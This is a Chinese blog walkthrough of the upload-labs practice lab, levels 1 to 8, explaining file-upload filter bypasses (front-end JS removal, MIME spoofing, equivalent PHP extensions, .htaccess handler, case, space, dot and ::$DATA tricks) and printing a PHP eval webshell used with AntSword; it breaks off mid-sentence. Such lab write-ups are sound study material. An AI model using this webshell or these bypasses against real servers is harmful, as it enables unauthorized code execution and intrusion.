当前位置:   article > 正文

文件上传漏洞——upload-labs 1-19 (详解)_;@eval($_post['shell']);

;@eval($_post['shell']);

upload-labs-1 删除 js 进行绕过

上传图片,发现上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tuVOI5A3-1645265775779)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201192751583.png)]

上传 shell 发现:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WDV118sN-1645265775780)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201192946481.png)]

发现是白名单,所以由前面我们知道,极有可能在前端存在过滤,我们检查一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RPcezGyJ-1645265775781)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201193848613.png)]

发现 checkFile() 起到了检查过滤的效果,我们将其删去并提交 发现:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8Byan9ZH-1645265775781)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201194030034.png)]

然后用中国以蚁剑 进行链接 发现成功

发现成功

同时我们发现仅仅在前端进行过滤是远远不够的,我们可以轻易的删去,所以除了前端,后端也必须进行校验

如果我们在使用蚁剑发现了返回值为空说明一句话木马语法错误,如果我们发现返回值是一串乱码 则是链接地址填写错误

正确的 shell 写法:

<?php phpinfo(); @eval($_POST['shell']); ?>
  • 1

upload-labs-2(MIME验证)

我们先看一下它的源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))     //重点!!! 
        {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

发现:

  if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

这时候我们就会产生疑问:浏览器是如何获得我们上传文件的类型呢

这里就涉及到MIME类型(多用途互联网邮件扩展类型)

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

它是一个互联网标准,扩展了电子邮件标准,使其能够支持:

ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。

常见类型:

文件上传multipart/from-data
超文本标记语言文本 .text/html
xml文档 .xmltext/xml
XHTML文档 .xhtmlapplication/xhtml+xml
jpg图片格式image/jpeg
RTF文本 .rtfapplication/rtf
PDF文档 .pdfapplication/pdf
Microsoft Word文件.wordapplication/msword

MIME用法:

客户端用法:

  1. 告诉服务端,我上传的文件类型
  2. 告诉服务端,我可以接受的文件类型

服务端使用:

  • 告诉客户端,我响应的数据类型

所以在做这道题的时候要想变法 将其content-type 改掉

所以我们使用 burp suite 进行抓包改包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6mbrLFQC-1645265775783)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220201205601755.png)]

找到将 content-type 其改掉
在这里插入图片描述

改为 image/jpeg;

点击发送,

在这里插入图片描述

upload-labs-3 等价扩展名

我们按照上一关的方法利用 burpsuite 来进行改包 发现失败:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fu8K6KCH-1645265775784)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220202181251169.png)]

我们发现题中说不允许上传 .asp,.aspx,.php,.jsp 后缀文件

那么我们就想能否在更改后缀名的同时不改变文件性质

很巧的是:

在文件中存在等价扩展名

语言等价扩展名
aspasa, cer, cdx
aspxashx, asmx, ascx
phpphp2 php3 php4 phps phtml
jspjspx jspf

所以这道题的解题思路就是 改变我们一句话木马的后缀名 从而达到绕过的目的

当然也可以在 burp suite上进行更改:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D6e77yDt-1645265775784)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220202193120037.png)]

将 后缀名 .php 改为 .php2 即可上传成功
在这里插入图片描述

做完之后我们可以查看源码进行更加深入的了解:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

发现本题使用的是黑名单,禁止我们使用.asp,.aspx,.php,.jsp这些后缀

并且 我们仔细观察源代码之后,

于本题无关

我们就有了另一些做题的思路(不适用本题,建议在做的时候进行尝试进行判断):

   $file_name = deldot($file_name);//删除文件名末尾的点
  • 1

上传 shell.php.

 $file_ext = strtolower($file_ext); //转换为小写
  • 1

或者上传 shell.PHP (大小写绕过)

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  • 1

上传 shell.php::$DATA

 $file_ext = trim($file_ext); //收尾去空
  • 1

上传 shell.php (后跟空格)

upload-labs-4 .htaccess绕过

我们先进行按照第三题的做法进行尝试,发现使用 .php3 不能将我们的木马上传进去,

之后进行源码查看,发现他的源代码很全面

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

确实我们之前的方法已经不能使用了。

所以 我们可以尝试将我们 一句话木马 的后缀名改为 .jpeg 看能否将我们的东西上传上去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gR5AYWtQ-1645265775786)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220204184915859.png)]

发现上传成功!

之后我们使用中国蚁剑进行链接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1eNumdft-1645265775787)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220204185113745.png)]

发现链接失败

因为我们的 扩展名 是图片的后缀名 我们的服务器就会以处理图片的形式来处理图片

那我们该怎么办呢?

.htaccess——超文本入口

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

所以我们可以尝试使用 这个 超文本入口 来达到这个目的

.htaccess 文件内容:

<FilesMatch "shell.jpg">                      //如果匹配到名为 shell.jpg 的文件 就执行该文件
       SetHandler  application/x-httpd-php             //把文件当成php的代码来解析
</FilesMatch>       
  • 1
  • 2
  • 3

现在我们将该文件上传

然后使用 蚁剑 进行链接

然后我们发现链接失败 发现是 phpstudy集成环境中 php 的问题

因为在 小皮面板中 php 版本 是nts 意思是即非线程安全,不提供数据访问保护 不支持使用 .htaccess

upload-labs-5 大小写绕过

我们进行常规测试:

  • 检查js

  • 上传 木马 发现失败

  • 之后使用MIME绕过发现失败

  • 然后检查黑白名单

    • 使用等价扩展名 发现失败
    • 然后想到我们 labs-3 提到的 几种绕过方法 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在大小写绕过这里可以让我们的木马上传

文件上传成功!

同时我们查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

观察过后,我们发现在黑名单当中存在 .htaccess 所以上一关当中的 绕过也不可以使用

upload-labs-6——空格绕过

我们进行常规测试:

  • 检查js

  • 上传 木马 发现失败

  • 之后使用MIME绕过发现失败

  • 然后检查黑白名单

    • 使用等价扩展名 发现失败
    • 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在空格绕过这里可以让我们的木马上传

    在这一关中我们无法将 后缀名后面添加空格,所以建议使用burpsuite来进行抓包改包

这一关的源码和上一关相似 也仅仅可以使用 空格绕过(以我们目前学过的方法来说)

upload-labs-7 ——点绕过

经过常规测试后,我们发现本道题的绕过方式是:点绕过

同样,我们无法直接将 shell脚本的后缀直接改为 .php.

我们在BP中更改。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

发现这关的源代码有一句是我们不清楚的

$file_ext = strrchr($file_name, '.');
  • 1

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

语法

strrchr(string,char)
  • 1
参数描述
string必需。规定要搜索的字符串。
char必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。

所以如果我们采用 .php. 那么我们返回的就是 . 所以我们能够成功绕过黑名单

upload-labs-8——::$DATA绕过

常规测试中,我们发现本题可以通过 添加字符串绕过

换句话说本题没有对后缀名进行去 ::DATA 处理

php在window的时候如果文件名+"::DATA"会把:

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/436498
推荐阅读
相关标签